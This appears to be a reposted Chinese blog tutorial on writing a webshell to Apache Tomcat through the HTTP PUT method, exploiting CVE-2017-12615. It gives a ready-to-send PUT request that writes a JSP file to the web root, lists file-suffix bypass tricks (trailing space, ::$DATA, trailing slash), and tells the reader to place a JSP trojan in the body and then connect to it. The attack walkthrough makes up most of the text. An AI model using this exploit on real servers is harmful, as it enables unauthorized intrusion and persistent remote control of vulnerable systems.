• PUT方法写shell


    前言:

    PUT是http的一个请求方法

    PUT的前提,是了解HTTP协议。下面给出HTTP - PUT的一个模板:

    PUT /test.txt HTTP/1.1
    Accept: */*
    Accept-Language: en-US
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    Host: test.com:8080
    
    hello world

    发送请求后,访问.../text.txt将输出hello world

    要注意如下几个点:

    ① PUT方法是HTTP 1.1协议中才出现的。

    ② HTTP协议对空格敏感,每行数据的结尾不能出现空格

    ③ HTTP头部和数据中间要空一行,即HTTP头部是以 结尾的。

    ④ 端口号直接跟在HOST后面

    Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    影响版本:

    Tomcat版本:8.5.19
    Apache Tomcat 7.0.0 - 7.0.79

    直接发送以下数据包即可在Web根目录写入shell:

    PUT /1.jsp/ HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    
    shell

    shell那儿直接写入jsp的马,或者其他语言对应写对应的马,请求头参数可适当的根据实际情况改动。

    虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制:

    shell.jsp%20
    shell.jsp::$DATA
    shell.jsp/

    返回响应包的状态码为201说明写入成功。

    然后根目录跟上写入的.jsp文件即可访问。之后连马。

  • 相关阅读:
    Synplify9.6.2破解(转帖)
    让博客园博客自动生成章节目录索引
    如何学好FPGA
    verilog 不可综合语句
    在FPGA中使用for循环一定浪费资源吗?
    在verilog中调用VHDL模块
    C#和Java中执行SQL文件脚本的代码(非常有用)
    C#通用JSON帮助类
    公共的Json操作C#类
    Calendar.NET
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11789597.html
Copyright © 2020-2023  润新知